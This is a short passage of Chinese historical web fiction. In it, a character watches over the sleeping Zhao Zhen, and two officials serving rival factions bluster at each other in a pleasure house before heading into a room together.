他僵硬地坐着,不敢乱动搅了赵禛的清眠,又低头仔细瞧着赵禛身上的衣物,伸手捏了捏,莫不是穿得太少了? 遐想间,视线又撞上两片弯曲的睫毛,赵禛安安静静地睡着,乖巧、脆弱、美丽、聪慧,这么好的孩子,那帮狗日的是怎么忍心下死手的? 此时红玉楼内,薛俨先前所在的房间外,两个身穿华服的中年男人同样大眼瞪小眼,谁也不服谁,剑拔弩张。 蓝袍男人双目瞪如同龄,压低声音道:“我可是奉大皇子的意思来的。” 绿袍男人哼了一声,并不相让,“怎么?我还是奉严相的意思来的。” 梅三娘想劝架,小碎步在蓝袍男人和绿袍男人之间踱来踱去,赔着笑劝劝这个劝劝那个,还得防着他们俩打起来。 二人互相瞪了很久,忽然灵光一闪,指着对方道:“这么说,你也是……” 俩人王八看绿豆般看对上了眼,突然朗声大笑起来,心照不宣。 蓝袍男人将衣袍一袍一掀,“韦兄,请。” 绿袍男人站在对面,也伸手行礼一指,“李兄,请。” “请请请。” 二人双双大笑地进了屋内,随后便听得里头丁零当啷地响了起来。 外头梅三娘嫌弃地拿着团扇摇了摇,翻了个白眼,扭着腰走了。